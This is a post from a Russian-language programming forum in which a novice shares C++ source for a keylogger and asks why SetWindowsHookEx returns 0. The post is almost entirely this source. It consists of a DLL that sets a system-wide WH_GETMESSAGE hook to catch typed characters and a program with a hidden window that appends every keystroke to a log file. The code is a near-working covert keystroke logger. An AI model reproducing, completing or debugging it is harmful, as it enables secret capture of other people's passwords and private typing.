Новичок
Профиль
Группа: Участник
Сообщений: 11
Регистрация: 21.1.2011
Репутация: нет Всего: нет
|
среда devc++ | Код | //mklog_dll.cpp #include "dll.h" LRESULT CALLBACK HookProc(int,WPARAM,LPARAM); HINSTANCE hInstance = NULL;
#pragma data_seg(".SData") HHOOK hMsgHook = NULL; UINT KBoardMessage = 0; //NULL;
HWND hParentWnd = NULL; #pragma data_seg( ) #pragma comment(linker,"/SECTION:.SData,RWS")
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) hInstance = (HINSTANCE)hModule; return TRUE; }
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode >= 0) { MSG * msg = (MSG * )lParam;
if ((lParam) &&(msg->message == WM_CHAR) &&(wParam == PM_REMOVE)) PostMessage (hParentWnd, KBoardMessage, msg->wParam, 0 ); }
return CallNextHookEx (hMsgHook, nCode ,wParam , lParam); }
MYHOOKDLL_API int SetHook(HWND hWnd, UINT UpdateMsg) { if (hWnd==NULL) MessageBox(NULL,"Хендл главного окна передать не удалось", "Message",MB_OK); hParentWnd=hWnd; KBoardMessage=UpdateMsg;
hMsgHook= SetWindowsHookEx(WH_GETMESSAGE, HookProc, hInstance, 0);//NULL
if (hMsgHook!=NULL) { MessageBox(NULL,"Хук установить удалось","Message",MB_OK); } else { MessageBox(NULL,"Хук установить не удалось","Message",MB_OK); }
return 0; } MYHOOKDLL_API int UnSetHook() { UnhookWindowsHookEx (hMsgHook); MessageBox(NULL,"Хук уален","Message",MB_OK); return 0; }
.............................................................................................................................................. //dll.h #define MYHOOKDLL_API __declspec(dllexport) #include <windows.h>//Подгрузка библиотек с функциями WINAPI. extern "C" { MYHOOKDLL_API int SetHook( HWND,UINT ); //Будущая функция установки хука MYHOOKDLL_API int UnSetHook();//Соответственно функция удаления хука. }
.............................................................................................................................................. //mklog.cpp #include <windows.h> #include <stdio.h> LRESULT CALLBACK DCDemoWndProc (HWND, UINT, UINT, LONG); #define WM_HOOKMESSAGE WM_USER+1 int ( * SetHook)( HWND,UINT); int (* UnSetHook)(); HINSTANCE hDllInst; HWND hWnd; int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdParam, int nCmdShow) { WNDCLASS WndClass; MSG Msg; char szClassName[]="DCDemo"; // WndClass.style=CS_HREDRAW|CS_VREDRAW; WndClass.lpfnWndProc=DCDemoWndProc; WndClass.cbClsExtra=0; WndClass.cbWndExtra=0; WndClass.hInstance=hInstance; WndClass.hIcon=LoadIcon(NULL,IDI_APPLICATION); WndClass.hCursor=LoadCursor(NULL,IDC_ARROW); WndClass.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH); WndClass.lpszMenuName="MyMenu"; WndClass.lpszClassName=szClassName; if (!RegisterClass(&WndClass)) { MessageBox(NULL,"Cannot register class","Error",MB_OK); return 0; } hWnd=CreateWindow(szClassName, "Программа 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,hInstance, NULL);
ShowWindow(hWnd,SW_HIDE); UpdateWindow(hWnd); hDllInst = LoadLibrary((LPCTSTR) "1.dll"); if (!hDllInst) { MessageBox(NULL,"DLL DO NOT LOAD","Message",MB_OK); } else { SetHook = (int ( *)(HWND, UINT ))GetProcAddress(hDllInst,"SetHook"); UnSetHook = (int ( *)( ))GetProcAddress(hDllInst, "UnSetHook"); } SetHook(hWnd,WM_HOOKMESSAGE);
while(GetMessage(&Msg,NULL,0,0)) { TranslateMessage(&Msg); DispatchMessage(&Msg); } return Msg.wParam; } LRESULT CALLBACK DCDemoWndProc(HWND hWnd, UINT Message, UINT wParam, LONG lParam) { FILE *f= fopen("a.log","a"); switch(Message) { case WM_DESTROY: PostQuitMessage(0); UnSetHook(); if (hDllInst) FreeLibrary(hDllInst); return 0; case WM_HOOKMESSAGE: switch(wParam) {
case 0x08: fprintf(f,"");break; case 0x0D: fprintf(f,"\n");break;
case 0x1B: fclose(f); UnSetHook(); PostQuitMessage(0); if (hDllInst) FreeLibrary(hDllInst);break; return 0; case 0x10: fprintf(f,"Shift");break; case 0x09: fprintf(f,"Tab");break; case 0x20: fprintf(f,"_");break; default: fprintf(f,"%c",wParam); } break; } return DefWindowProc(hWnd,Message,wParam,lParam); }
|
Неудается установить хук( Почему SetWindowsHookEx возвращает 0?
|